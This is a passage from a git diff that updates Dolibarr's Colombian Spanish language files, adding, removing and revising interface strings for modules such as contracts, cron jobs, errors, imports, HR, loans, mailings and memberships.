      RulesPurchaseTurnoverIn=- Incluye todos los pagos efectivos de facturas hechas a proveedores.
      - Se basa en la fecha de pago de estas facturas
      ReportPurchaseTurnoverCollected=Volumen de compras recogido +InvoiceLate15Days =Tardío (15 a 30 días) InvoiceNotLate =A recoger (<15 días) InvoiceNotLate15Days =A recoger (15 a 30 días) InvoiceNotLate30Days =A recoger (> 30 días) diff --git a/htdocs/langs/es_CO/contracts.lang b/htdocs/langs/es_CO/contracts.lang index 1b3f1b2e9d8..c9c71eefeaf 100644 --- a/htdocs/langs/es_CO/contracts.lang +++ b/htdocs/langs/es_CO/contracts.lang @@ -59,7 +59,6 @@ ConfirmDeleteContractLine=¿Está seguro de que desea eliminar esta línea de co MoveToAnotherContract=Mueva el servicio a otro contrato. ConfirmMoveToAnotherContract=Elegí un nuevo contrato de destino y confirmo que quiero trasladar este servicio a este contrato. ConfirmMoveToAnotherContractQuestion=Elija en qué contrato existente (del mismo tercero), desea trasladar este servicio? -PaymentRenewContractId=Renovar línea de contrato (número %s) ExpiredSince=Fecha de caducidad NoExpiredServices=No hay servicios activos caducados ListOfServicesToExpireWithDuration=Lista de servicios que vencen en %s días @@ -75,3 +74,5 @@ TypeContact_contrat_internal_SALESREPFOLL=Contrato de seguimiento del representa TypeContact_contrat_external_BILLING=Contacto con el cliente de facturación TypeContact_contrat_external_CUSTOMER=Contacto de seguimiento con el cliente TypeContact_contrat_external_SALESREPSIGN=Firma de contrato de contacto con el cliente +UserStartingService=Servicio de inicio de usuario +UserClosingService=Servicio de cierre de usuario diff --git a/htdocs/langs/es_CO/cron.lang b/htdocs/langs/es_CO/cron.lang index 40892fd6122..92a26c0d18b 100644 --- a/htdocs/langs/es_CO/cron.lang +++ b/htdocs/langs/es_CO/cron.lang @@ -17,7 +17,6 @@ CronCommand=Mando CronList=Trabajos programados CronDelete=Eliminar trabajos programados CronConfirmDelete=¿Está seguro de que desea eliminar estos trabajos programados? -CronExecute=Iniciar trabajo programado CronConfirmExecute=¿Está seguro de que desea ejecutar estos trabajos programados ahora? CronInfo=El módulo de trabajos programados permite programar trabajos para ejecutarlos automáticamente. Los trabajos también se pueden iniciar manualmente. CronTask=Trabajo @@ -40,6 +39,7 @@ CronSaveSucess=Guardar con éxito CronFieldMandatory=Los campos %s son obligatorios CronErrEndDateStartDt=La fecha de finalización no puede ser anterior a la fecha de inicio CronStatusInactiveBtn=Desactivar +CronTaskInactive=Este trabajo está inhabilitado (no programado) CronId=Identificación CronModuleHelp=Nombre del directorio del módulo Dolibarr (también funciona con el módulo Dolibarr externo).
      Por ejemplo, para llamar al método de búsqueda de Dolibarr Product object / htdocs / product /class/product.class.php, el valor del módulo es
      product CronClassFileHelp=La ruta relativa y el nombre del archivo a cargar (la ruta es relativa al directorio raíz del servidor web).
      Por ejemplo, para llamar al método de recuperación del objeto de producto Dolibarr htdocs/product/class/ product.class.php , el valor para el nombre del archivo de clase es
      product/class/product.class.php @@ -57,6 +57,7 @@ UseMenuModuleToolsToAddCronJobs=Vaya al menú " Inicio - Herramient JobDisabled=Trabajo inhabilitado MakeLocalDatabaseDumpShort=Copia de seguridad de la base de datos local MakeLocalDatabaseDump=Cree un volcado de base de datos local. Los parámetros son: compresión ('gz' o 'bz' o 'none'), tipo de copia de seguridad ('mysql', 'pgsql', 'auto'), 1, 'auto' o nombre de archivo para compilar, número de archivos de copia de seguridad para mantener +MakeSendLocalDatabaseDump=Enviar copia de seguridad de la base de datos local por correo electrónico. Los parámetros son: para, de, asunto, mensaje, nombre de archivo (Nombre del archivo enviado), filtro ('sql' solo para copia de seguridad de la base de datos) WarningCronDelayed=Atención, por motivos de rendimiento, cualquiera que sea la próxima fecha de ejecución de los trabajos habilitados, sus trabajos pueden retrasarse hasta un máximo de %s horas, antes de ejecutarse. DATAPOLICYJob=Limpiador y anonimizador de datos JobXMustBeEnabled=El trabajo %s debe estar habilitado diff --git a/htdocs/langs/es_CO/datapolicy.lang b/htdocs/langs/es_CO/datapolicy.lang new file mode 100644 index 00000000000..7c294832731 --- /dev/null +++ b/htdocs/langs/es_CO/datapolicy.lang @@ -0,0 +1,9 @@ +# Dolibarr language file - Source file is en_US - datapolicy +datapolicySetup =Configuración de la política de privacidad de datos del módulo +DATAPOLICY_TIERS_PROSPECT_CLIENT =Prospecto/Cliente +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT =Ni prospecto/ni cliente +DATAPOLICY_CONTACT_PROSPECT_CLIENT =Prospecto/Cliente +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT =Ni prospecto/ni cliente +DATAPOLICYMail =Configuración de correos electrónicos +DATAPOLICY_POPUP_ANONYME_TEXTE =No puede eliminar este contacto de Dolibarr porque hay elementos relacionados. De acuerdo con el RGPD, harás anónimos todos estos datos para respetar tus obligaciones. Te gustaria continuar ? +DATAPOLICY_PORTABILITE_CONFIRMATION =Quiere exportar los datos personales de este contacto. Está seguro ? diff --git a/htdocs/langs/es_CO/dict.lang b/htdocs/langs/es_CO/dict.lang index 3f2585b2c22..fefcb9fa85b 100644 --- a/htdocs/langs/es_CO/dict.lang +++ b/htdocs/langs/es_CO/dict.lang @@ -36,7 +36,9 @@ CountryIM=Isla del hombre CountryBL=San Bartolomé CountryMF=San Martín CivilityMME=Señora. +CivilityMMEShort=Sra. CivilityMR=Señor. +CivilityMRShort=Sr. CivilityMLE=Milisegundo. CivilityMTRE=Maestría CurrencyAUD=Dólares australianos diff --git a/htdocs/langs/es_CO/ecm.lang b/htdocs/langs/es_CO/ecm.lang index 8e5fb615fc0..d30bba5d633 100644 --- a/htdocs/langs/es_CO/ecm.lang +++ b/htdocs/langs/es_CO/ecm.lang @@ -6,7 +6,7 @@ ECMCreationDate=Fecha de creación ECMNbOfFilesInSubDir=Número de archivos en subdirectorios ECMArea=Área DMS / ECM ECMAreaDesc=El área DMS / ECM (Document Management System / Electronic Content Management) permite guardar, compartir y buscar rápidamente todo tipo de documentos en Dolibarr. -ECMAreaDesc2=* Los directorios automáticos se llenan automáticamente al agregar documentos desde la tarjeta de un elemento.
      * Los directorios manuales se pueden usar para guardar documentos que no están vinculados a un elemento en particular. +ECMAreaDesc3=* Los directorios de medios son archivos en el subdirectorio /medias del directorio de documentos, que todos pueden leer sin necesidad de iniciar sesión y sin necesidad de compartir el archivo explícitamente. Se utiliza para almacenar archivos de imagen del módulo de E-mail o sitio web. ECMSectionWasRemoved=El directorio %s ha sido eliminado. ECMSectionWasCreated=Se ha creado el directorio %s . ECMNoDirectoryYet=No se creó ningún directorio @@ -24,3 +24,4 @@ ExtraFieldsEcmFiles=Archivos Ecm de Extrafields ExtraFieldsEcmDirectories=Directorios de Extrafields Ecm ECMSetup=Configuración de ECM SucessConvertImgWebp=Imágenes duplicadas con éxito +ECMParentDirectory=Directorio de padres diff --git a/htdocs/langs/es_CO/errors.lang b/htdocs/langs/es_CO/errors.lang index 23b931b6d88..3c4522d3f1c 100644 --- a/htdocs/langs/es_CO/errors.lang +++ b/htdocs/langs/es_CO/errors.lang @@ -5,6 +5,7 @@ ErrorBadValueForParamNotAString=Mal valor para su parámetro. Generalmente se ad ErrorRefAlreadyExists=La referencia %s ya existe. ErrorLoginAlreadyExists=El inicio de sesión %s ya existe. ErrorRecordNotFound=Registro no encontrado. +ErrorRecordNotFoundShort=Extraviado ErrorFailToCopyFile=Error al copiar el archivo ' %s ' en ' %s '. ErrorFailToCopyDir=Error al copiar el directorio ' %s ' en ' %s '. ErrorFailToRenameFile=No se pudo cambiar el nombre del archivo ' %s ' a ' %s '. @@ -49,6 +50,7 @@ ErrorDirAlreadyExists=Ya existe un directorio con este nombre. ErrorPartialFile=Archivo no recibido completamente por el servidor. ErrorNoTmpDir=La directiva temporal %s no existe. ErrorUploadBlockedByAddon=Carga bloqueada por un complemento PHP / Apache. +ErrorFileSizeTooLarge=El tamaño del archivo es demasiado grande o no se proporciona el archivo. ErrorSizeTooLongForIntType=Tamaño demasiado largo para el tipo int (%s dígitos como máximo) ErrorSizeTooLongForVarcharType=Tamaño demasiado largo para el tipo de cadena (%s caracteres como máximo) ErrorNoValueForSelectType=Por favor complete el valor de la lista de selección @@ -56,7 +58,6 @@ ErrorNoValueForCheckBoxType=Por favor, complete el valor de la lista de casillas ErrorNoValueForRadioType=Por favor complete el valor de la lista de radio ErrorBadFormatValueList=El valor de la lista no puede tener más de una coma: %s , pero necesita al menos una: clave, valor ErrorFieldCanNotContainSpecialCharacters=El campo %s no debe contener caracteres especiales. -ErrorFieldCanNotContainSpecialNorUpperCharacters=El campo %s no debe contener caracteres especiales, ni mayúsculas y no puede contener solo números. ErrorNoAccountancyModuleLoaded=Ningún módulo de contabilidad activado ErrorExportDuplicateProfil=Este nombre de perfil ya existe para este conjunto de exportación. ErrorLDAPSetupNotComplete=La coincidencia Dolibarr-LDAP no está completa. @@ -208,6 +209,8 @@ ErrorReservedKeyword=La palabra ' %s ' es una palabra clave reservada ErrorLanguageMustNotBeSourceLanguageIfPageIsTranslationOfAnother=El idioma de la nueva página no debe ser el idioma de origen si está configurado como una traducción de otra página. ErrorYouMustFirstSetupYourChartOfAccount=Primero debe configurar su plan de cuenta ErrorDurationForServiceNotDefinedCantCalculateHourlyPrice=Duración no definida en servicio. No hay forma de calcular el precio por hora. +ErrorNotApproverForHoliday=Usted no es el aprobador de la licencia %s +ErrorFailedToLoadThirdParty=No se pudo encontrar/cargar un tercero desde id=%s, email=%s, nombre=%s WarningParamUploadMaxFileSizeHigherThanPostMaxSize=Su parámetro PHP upload_max_filesize (%s) es mayor que el parámetro PHP post_max_size (%s). Esta no es una configuración consistente. WarningPasswordSetWithNoAccount=Se estableció una contraseña para este miembro. Sin embargo, no se creó ninguna cuenta de usuario. Por lo tanto, esta contraseña se almacena pero no se puede utilizar para iniciar sesión en Dolibarr. Puede ser utilizado por un módulo / interfaz externo, pero si no necesita definir ningún nombre de usuario o contraseña para un miembro, puede deshabilitar la opción "Administrar un inicio de sesión para cada miembro" desde la configuración del módulo Miembro. Si necesita administrar un inicio de sesión pero no necesita ninguna contraseña, puede dejar este campo vacío para evitar esta advertencia. Nota: El correo electrónico también se puede utilizar como inicio de sesión si el miembro está vinculado a un usuario. WarningEnableYourModulesApplications=Haga clic aquí para habilitar sus módulos y aplicaciones @@ -218,7 +221,6 @@ WarningConfFileMustBeReadOnly=Advertencia, el servidor web puede sobrescribir su WarningsOnXLines=Advertencias sobre %s registro (s) fuente WarningNoDocumentModelActivated=No se ha activado ningún modelo para la generación de documentos. Se elegirá un modelo por defecto hasta que verifique la configuración de su módulo. WarningLockFileDoesNotExists=Advertencia: una vez finalizada la instalación, debe deshabilitar las herramientas de instalación / migración agregando un archivo install.lock en el directorio %s . Omitir la creación de este archivo es un riesgo de seguridad grave. -WarningUntilDirRemoved=Todas las advertencias de seguridad (visibles solo para los usuarios administradores) permanecerán activas mientras la vulnerabilidad esté presente (o si se agrega la constante MAIN_REMOVE_INSTALL_WARNING en Configuración-> Otra configuración). WarningCloseAlways=Advertencia, el cierre se realiza incluso si la cantidad difiere entre los elementos de origen y de destino. Habilite esta función con precaución. WarningUsingThisBoxSlowDown=Advertencia, el uso de este cuadro ralentiza seriamente todas las páginas que muestran el cuadro. WarningClickToDialUserSetupNotComplete=La configuración de la información de ClickToDial para su usuario no está completa (consulte la pestaña ClickToDial en su tarjeta de usuario). diff --git a/htdocs/langs/es_CO/eventorganization.lang b/htdocs/langs/es_CO/eventorganization.lang index 6884bedb6a6..fc0dddddc18 100644 --- a/htdocs/langs/es_CO/eventorganization.lang +++ b/htdocs/langs/es_CO/eventorganization.lang @@ -2,18 +2,18 @@ ModuleEventOrganizationName =Organización del evento EventOrganizationDescriptionLong=Gestionar la organización de un evento (espectáculo, conferencias, asistentes o ponentes, con páginas públicas para sugerencia, voto o registro) Settings=Ajustes -EVENTORGANIZATION_TASK_LABELTooltip =Al validar un evento organizado, algunas tareas se pueden crear automáticamente en el proyecto

      Por ejemplo:
      Enviar llamada para conferencia
      Enviar llamada para stand
      Recibir llamada para conferencias
      Recibir llamada para stand
      Abrir suscripciones a eventos para asistentes
      recordar el evento a los oradores
      Enviar recordatorio del evento al anfitrión del stand
      Enviar recordatorio del evento a los asistentes +EVENTORGANIZATION_TASK_LABELTooltip =When you validate an event to organize, some tasks can be automatically created in the project

      For example:
      Send Call for Conferences
      Send Call for Booths
      Validate suggestions of Conferences
      Validate application for Booths
      Open subscriptions to the event for attendees
      Enviar un recordatorio del evento a los oradores
      Enviar un recordatorio del evento a los anfitriones del stand
      Enviar un recordatorio del evento a los asistentes EVENTORGANIZATION_TEMPLATE_EMAIL_AFT_SUBS_EVENT =Plantilla de correo electrónico para enviar después de que se haya pagado la inscripción a un evento. EventOrganizationConfOrBooth=Conferencia o stand ManageOrganizeEvent =Gestionar la organización de un evento ConferenceOrBooth =Conferencia o stand ConferenceOrBoothTab =Conferencia o stand AmountPaid =Cantidad pagada +Speaker=Vocero ToSpeakers=A los altavoces AllowUnknownPeopleSuggestConf=Permitir que las personas sugieran conferencias AllowUnknownPeopleSuggestBooth=Permitir que las personas soliciten un stand NbVotes=Numero de votos -EvntOrgWelcomeMessage =Este formulario le permite registrarse como nuevo participante del evento: %s RegistrationAndPaymentWereAlreadyRecorder=Ya se registró un registro y un pago para el correo electrónico %s EmailAttendee=Correo electrónico del asistente EmailCompanyForInvoice=Correo electrónico de la empresa (para la factura, si es diferente del correo electrónico del asistente) diff --git a/htdocs/langs/es_CO/exports.lang b/htdocs/langs/es_CO/exports.lang index f157547d8c4..218e92254c6 100644 --- a/htdocs/langs/es_CO/exports.lang +++ b/htdocs/langs/es_CO/exports.lang @@ -62,7 +62,7 @@ SelectFormat=Elija este formato de archivo de importación RunImportFile=Datos de importacion NowClickToRunTheImport=Verifique los resultados de la simulación de importación. Corrija los errores y vuelva a realizar la prueba.
      Cuando la simulación no reporta errores, puede proceder a importar los datos a la base de datos. DataLoadedWithId=Los datos importados tendrán un campo adicional en cada tabla de la base de datos con este ID de importación: %s , para permitir la búsqueda en el caso de investigar un problema relacionado con esta importación. -ErrorMissingMandatoryValue=Los datos obligatorios están vacíos en el archivo fuente para el campo %s . +ErrorMissingMandatoryValue=Los datos obligatorios están vacíos en el archivo de origen en la columna %s . TooMuchErrors=Todavía hay %s otras líneas de origen con errores, pero la salida ha sido limitada. TooMuchWarnings=Todavía hay %s otras líneas de origen con advertencias, pero la salida ha sido limitada. EmptyLine=Línea vacía (se descartará) @@ -72,9 +72,9 @@ YouCanUseImportIdToFindRecord=Puede encontrar todos los registros importados en NbOfLinesOK=Número de líneas sin errores ni advertencias: %s . NbOfLinesImported=Número de líneas importadas correctamente: %s . DataComeFromNoWhere=El valor para insertar proviene de la nada en el archivo de origen. -DataComeFromFileFieldNb=El valor para insertar proviene del número de campo %s en el archivo fuente. -DataComeFromIdFoundFromRef=El valor que proviene del número de campo %s del archivo fuente se usará para encontrar la identificación del objeto principal que se va a usar (por lo que el objeto %s debe existir en el archivo fuente de la base de datos). -DataComeFromIdFoundFromCodeId=El código que proviene del número %s de campo del archivo fuente se usará para encontrar el ID del objeto principal a usar (por lo que el código del archivo fuente debe existir en el diccionario %s). Tenga en cuenta que si conoce el ID, también puede usarla en el archivo fuente en lugar del código. La importación debería funcionar en ambos casos. +DataComeFromFileFieldNb=El valor a insertar proviene de la columna %s en el archivo fuente. +DataComeFromIdFoundFromRef=El valor que proviene del archivo fuente se usará para encontrar la identificación del objeto principal que se usará (por lo que el objeto %s que tiene la referencia del archivo fuente debe existir en la base de datos). +DataComeFromIdFoundFromCodeId=El valor del código que proviene del archivo fuente se usará para encontrar la identificación del objeto principal que se usará (por lo que el código del archivo fuente debe existir en el diccionario %s). Tenga en cuenta que si conoce la identificación, también puede usarla en el archivo fuente en lugar del código. La importación debería funcionar en ambos casos. DataIsInsertedInto=Los datos provenientes del archivo de origen se insertarán en el siguiente campo: DataIDSourceIsInsertedInto=La identificación del objeto principal, que se encontró utilizando los datos en el archivo de origen, se insertará en el siguiente campo: DataCodeIDSourceIsInsertedInto=La identificación de la línea principal, que se encontró en el código, se insertará en el siguiente campo: @@ -106,3 +106,4 @@ FilteredFieldsValues=Valor para filtro FormatControlRule=Regla de control de formato KeysToUseForUpdates=Clave (columna) que se utilizará para actualizando datos existentes NbInsert=Número de líneas insertadas: %s +WarningFirstImportedLine=La(s) primera(s) línea(s) no se importarán con la selección actual diff --git a/htdocs/langs/es_CO/holiday.lang b/htdocs/langs/es_CO/holiday.lang index 1a794c336aa..aa289536cee 100644 --- a/htdocs/langs/es_CO/holiday.lang +++ b/htdocs/langs/es_CO/holiday.lang @@ -1,5 +1,5 @@ # Dolibarr language file - Source file is en_US - holiday -Holidays=Salir +Holidays=Sale de CPTitreMenu=Salir MenuAddCP=Nueva solicitud de licencia NotActiveModCP=Debe habilitar el módulo Salir para ver esta página. diff --git a/htdocs/langs/es_CO/hrm.lang b/htdocs/langs/es_CO/hrm.lang index 7342c5324de..a9b8a546778 100644 --- a/htdocs/langs/es_CO/hrm.lang +++ b/htdocs/langs/es_CO/hrm.lang @@ -4,12 +4,14 @@ ConfirmDeleteEstablishment=¿Estás seguro de que deseas eliminar este estableci OpenEtablishment=Establecimiento abierto CloseEtablishment=Establecimiento cerrado DictionaryPublicHolidays=Licencia - Días festivos +DictionaryDepartment=HRM - Unidad organizativa DictionaryFunction=HRM - Puestos de trabajo ListOfEmployees=Lista de empleados HrmSetup=Configuración del módulo HRM JobCard=Tarjeta de trabajo -JobPosition=Trabajo SkillCard=Tarjeta de habilidad EmployeeSkillsUpdated=Se actualizaron las habilidades de los empleados (consulte la pestaña "Habilidades" de la tarjeta de empleado) OrJobToCompare=Compare con los requisitos de habilidades laborales AddSkill=Agregue habilidades al trabajo +TypeKnowHow=Saber cómo +JobsExtraFields=Atributos complementarios (Emplois) diff --git a/htdocs/langs/es_CO/install.lang b/htdocs/langs/es_CO/install.lang index aa4def46f84..11a75200e96 100644 --- a/htdocs/langs/es_CO/install.lang +++ b/htdocs/langs/es_CO/install.lang @@ -22,6 +22,7 @@ ErrorGoBackAndCorrectParameters=Regresa y revisa / corrige los parámetros. ErrorWrongValueForParameter=Es posible que haya escrito un valor incorrecto para el parámetro '%s'. ErrorFailedToConnectToDatabase=Error al conectarse a la base de datos '%s'. ErrorDatabaseVersionTooLow=Versión de la base de datos (%s) demasiado antigua. Se requiere la versión %s o superior. +ErrorPHPVersionTooHigh=Versión de PHP demasiado alta. Se requiere la versión %s o inferior. ErrorConnectedButDatabaseNotFound=La conexión al servidor fue exitosa pero no se encontró la base de datos '%s'. IfDatabaseNotExistsGoBackAndUncheckCreate=Si la base de datos no existe, vuelva atrás y marque la opción "Crear base de datos". IfDatabaseExistsGoBackAndCheckCreate=Si la base de datos ya existe, vuelva atrás y desmarque la opción "Crear base de datos". @@ -68,7 +69,7 @@ WithNoSlashAtTheEnd=Sin la barra "/" al final DirectoryRecommendation= IMPORTANTE : Debe usar un directorio que esté fuera de las páginas web (por lo tanto, no use un subdirectorio del parámetro anterior). AdminLoginAlreadyExists=La cuenta de administrador de Dolibarr ' %s ' ya existe. Vuelve si quieres crear otro. FailedToCreateAdminLogin=Error al crear la cuenta de administrador de Dolibarr. -WarningRemoveInstallDir=Una advertencia, por razones de seguridad, una vez que se complete la instalación o actualización, debe agregar un archivo llamado install.lock en el directorio de documentos de Dolibarr para evitar nuevamente el uso accidental / malicioso de las herramientas de instalación. +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. ChoosedMigrateScript=Elegir script de migración DataMigration=Migración de base de datos (datos) DatabaseMigration=Migración de base de datos (estructura + algunos datos) diff --git a/htdocs/langs/es_CO/knowledgemanagement.lang b/htdocs/langs/es_CO/knowledgemanagement.lang index f083c8b99f8..c371ab6add0 100644 --- a/htdocs/langs/es_CO/knowledgemanagement.lang +++ b/htdocs/langs/es_CO/knowledgemanagement.lang @@ -8,6 +8,6 @@ KnowledgeManagementAboutPage =Gestión del conocimiento sobre la página KnowledgeManagementArea =Conocimiento administrativo MenuKnowledgeRecord =Base de conocimientos GroupOfTicket=Grupo de entradas -SuggestedForTicketsInGroup=Sugerido para boletos cuando el grupo es +SuggestedForTicketsInGroup=Sugerido en la creación del ticket SetObsolete=Establecer como obsoleto ConfirmReopenKM=¿Desea restaurar este artículo al estado "Validado"? diff --git a/htdocs/langs/es_CO/loan.lang b/htdocs/langs/es_CO/loan.lang index f3f596c1b2b..f3fe2683d81 100644 --- a/htdocs/langs/es_CO/loan.lang +++ b/htdocs/langs/es_CO/loan.lang @@ -18,7 +18,7 @@ InterestAmount=Interesar CapitalRemain=El capital permanece CantModifyInterestIfScheduleIsUsed =No puede modificar el interés si usa el horario ConfigLoan=Configuración del préstamo del módulo -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Capital de la cuenta contable por defecto -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Intereses de la cuenta contable por defecto -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Seguro de cuenta contable por defecto +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Cuenta (del plan de cuentas) que se usará por defecto para el capital (módulo de préstamos) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Cuenta (del plan de cuentas) que se utilizará por defecto para intereses (módulo de préstamo) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Cuenta (del plan de cuentas) que se utilizará por defecto para el seguro (módulo de préstamos) CreateCalcSchedule=Editar compromiso financiero diff --git a/htdocs/langs/es_CO/mailmanspip.lang b/htdocs/langs/es_CO/mailmanspip.lang index eaf04c1a531..f80d5ca93f9 100644 --- a/htdocs/langs/es_CO/mailmanspip.lang +++ b/htdocs/langs/es_CO/mailmanspip.lang @@ -6,6 +6,7 @@ MailmanCreationSuccess=La prueba de suscripción se ejecutó con éxito MailmanDeletionSuccess=La prueba de cancelación de suscripción se ejecutó con éxito SynchroMailManEnabled=Se realizará una actualización de Mailman SynchroSpipEnabled=Se realizará una actualización de Spip +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Contraseña de administrador de Mailman DescADHERENT_MAILMAN_URL=URL de las suscripciones de Mailman DescADHERENT_MAILMAN_UNSUB_URL=URL para darse de baja de Mailman DescADHERENT_MAILMAN_LISTS=Lista(s) para la inscripción automática de nuevos miembros (separados por coma) diff --git a/htdocs/langs/es_CO/mails.lang b/htdocs/langs/es_CO/mails.lang index 53c9f7a990a..8267c6f906c 100644 --- a/htdocs/langs/es_CO/mails.lang +++ b/htdocs/langs/es_CO/mails.lang @@ -5,7 +5,7 @@ EMailings=e-mailing AllEMailings=Todos los e-mailings MailCard=Tarjeta de e-mailing MailRecipient=Recipiente -MailTo=Receptor(es) +MailTo=A MailToUsers=Para usuario(s) MailCC=Copiar a MailToCCUsers=Copiar a al(los) usuario(s) diff --git a/htdocs/langs/es_CO/main.lang b/htdocs/langs/es_CO/main.lang index ffef2f25c5f..6e5376a6157 100644 --- a/htdocs/langs/es_CO/main.lang +++ b/htdocs/langs/es_CO/main.lang @@ -81,9 +81,11 @@ Hide=Esconder SearchMenuShortCut=Ctrl + Mayús + F QuickAdd=Adición rápida QuickAddMenuShortCut=Ctrl + Mayús + l +OpenVerb=Activo Upload=Subir ResizeOrCrop=Redimensionar o Recortar NoUserGroupDefined=No hay grupo de usuario definido +PasswordRetype=repita su contraseña DescriptionOfLine=Descripción de la línea Model=Plantilla doc DefaultModel=Plantilla de documento predeterminada @@ -155,6 +157,7 @@ DolibarrWorkBoard=Artículos abiertos NoOpenedElementToProcess=Ningún elemento abierto para procesar Categories=Etiquetas / categorías Category=Etiqueta / categoría +Workflow=flujo de trabajo ValidatedToProduce=Validado (Para producir) OpenAll=Abrir (todo) ClosedAll=Cerrado (todo) @@ -248,8 +251,6 @@ FrontOffice=Oficina frontal Exports=Las exportaciones ExportFilteredList=Exportar lista filtrada ExportList=Lista de exportación -ExportOfPiecesAlreadyExportedIsEnable=La exportación de piezas ya exportadas está habilitada. -ExportOfPiecesAlreadyExportedIsDisable=La exportación de piezas ya exportadas está deshabilitada. AllExportedMovementsWereRecordedAsExported=Todos los movimientos exportados se registraron como exportados NotAllExportedMovementsCouldBeRecordedAsExported=No todos los movimientos exportados se pueden registrar como exportados Miscellaneous=Diverso @@ -298,6 +299,7 @@ SearchIntoContracts=Los contratos SearchIntoCustomerShipments=Envios de clientes SearchIntoExpenseReports=Reporte de gastos SearchIntoLeaves=Salir +SearchIntoKM=Base de conocimientos SearchIntoVendorPayments=Pagos a proveedores NbComments=Numero de comentarios Everybody=Todos @@ -335,11 +337,20 @@ UpToDate=Al día OutOfDate=Vencido EventReminder=Recordatorio de evento Civility=Civilidad -ConfirmAffectTag=Afectar etiqueta en masa -ConfirmAffectTagQuestion=¿Está seguro de que desea afectar las etiquetas a los %s registros seleccionados ? +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) +ConfirmSetSupervisor=Conjunto de supervisor a granel +ConfirmAffectTagQuestion=¿Está seguro de que desea asignar etiquetas a los %s registros seleccionados? +ConfirmAffectUserQuestion=¿Está seguro de que desea asignar usuarios a los %s registros seleccionados? +ConfirmSetSupervisorQuestion=¿Está seguro de que desea configurar el supervisor para los %s registros seleccionados? +ConfirmUpdatePriceQuestion=¿Está seguro de que desea actualizar el precio de los %s registros seleccionados? InformationOnLinkToContract=Esta cantidad es solo el total de todas las líneas del contrato. No se toma en consideración ninguna noción de tiempo. ConfirmCancel=Estas seguro que quieres cancelar EmailMsgID=MsgID de correo electrónico +EmailDate=Fecha de E-mail SetToEnabled=Establecer como habilitado SetToDisabled=Establecer como deshabilitado ConfirmMassEnablingQuestion=¿Está seguro de que desea habilitar los %s registro(s) seleccionado(s)? @@ -355,3 +366,7 @@ RecordsApproved=%s Registro (s) aprobado ClientTZ=Zona Horaria del Cliente (usuario) CanceledHidden=Cancelado oculto CanceledShown=Se muestra cancelada +Terminate=Terminar +Terminated=Terminado +ConfirmAllocateCommercialQuestion=¿Está seguro de que desea asignar los %s registros seleccionados? +CommercialAffected=representante de ventas asignado diff --git a/htdocs/langs/es_CO/members.lang b/htdocs/langs/es_CO/members.lang index 39db94df1a0..8ccc6c6fffe 100644 --- a/htdocs/langs/es_CO/members.lang +++ b/htdocs/langs/es_CO/members.lang @@ -25,7 +25,9 @@ DateSubscription=Fecha de afiliación DateEndSubscription=Fecha de finalización de la membresía EndSubscription=Fin de la membresía SubscriptionId=ID de contribución -WithoutSubscription=Sin aporte +WithoutSubscription=sin membresía +MemberId=Identificación de miembro +MemberRef=Referencia de miembro MemberTypeId=ID de tipo de miembro MemberTypeLabel=Etiqueta de tipo de miembro MemberStatusDraft=Borrador (necesita ser validado) @@ -49,6 +51,8 @@ MemberTypeCanNotBeDeleted=El tipo de miembro no se puede eliminar NewSubscription=Nueva contribución NewSubscriptionDesc=Este formulario le permite registrar su suscripción como nuevo miembro de la fundación. Si desea renovar su suscripción (si ya es miembro), comuníquese con la junta de la fundación por correo electrónico %s. Subscription=Contribución +CanEditAmountShort=Cualquier cantidad +CanEditAmountShortForValues=recomendado, cualquier cantidad Subscriptions=Contribuciones SubscriptionLate=Retraso SubscriptionNotReceived=Contribución nunca recibida @@ -92,6 +96,7 @@ YourMembershipWasCanceled=Tu membresía fue cancelada CardContent=Contenido de su tarjeta de miembro ThisIsContentOfYourMembershipRequestWasReceived=Queremos informarle que se recibió su solicitud de membresía.

      ThisIsContentOfYourMembershipWasValidated=Queremos informarle que su membresía fue validada con la siguiente información:

      +ThisIsContentOfYourSubscriptionWasRecorded=Queremos informarle que se registró su nueva suscripción. Encuentre su factura aquí adjunta.

      ThisIsContentOfSubscriptionReminderEmail=Queremos informarle que su suscripción está a punto de caducar o que ya ha caducado (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). Esperamos que lo renueve.

      ThisIsContentOfYourCard=Este es un resumen de la información que tenemos sobre usted. Por favor contáctenos si algo es incorrecto.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Asunto del correo electrónico de notificación recibido en caso de autoinscripción de un invitado @@ -134,8 +139,7 @@ SubscriptionsStatistics=Estadísticas de contribuciones NbOfSubscriptions=Numero de contribuciones AmountOfSubscriptions=Monto recaudado de las contribuciones TurnoverOrBudget=Facturación (para una empresa) o Presupuesto (para una fundación) -DefaultAmount=Importe predeterminado de la contribución -MEMBER_NEWFORM_PAYONLINE=Ir a la página de pago en línea integrada +CanEditAmountDetail=El visitante puede elegir/editar el monto de su contribución independientemente del tipo de miembro MembersStatisticsByProperties=Estadísticas de miembros por naturaleza VATToUseForSubscriptions=Tasa de IVA a utilizar para las contribuciones NoVatOnSubscription=Sin IVA por contribuciones diff --git a/htdocs/langs/es_CO/modulebuilder.lang b/htdocs/langs/es_CO/modulebuilder.lang index 58e09df8673..393a7487540 100644 --- a/htdocs/langs/es_CO/modulebuilder.lang +++ b/htdocs/langs/es_CO/modulebuilder.lang @@ -1,4 +1,5 @@ # Dolibarr language file - Source file is en_US - modulebuilder +EnterNameOfObjectDesc=Ingrese el nombre del objeto a crear sin espacios. Use mayúsculas para separar palabras (Por ejemplo: MiObjeto, Estudiante, Profesor...). Se generará el archivo de clase CRUD, las páginas para enumerar/añadir/editar/eliminar el objeto y los archivos SQL. ModuleBuilderDesc2=Ruta donde se generan / editan los módulos (primer directorio para módulos externos definido en %s): %s ModuleBuilderDesc3=Módulos generados / editables encontrados: %s ModuleBuilderDesc4=Un módulo se detecta como 'editable' cuando el archivo %s existe en la raíz del directorio del módulo @@ -59,9 +60,10 @@ NoWidget=Sin widget 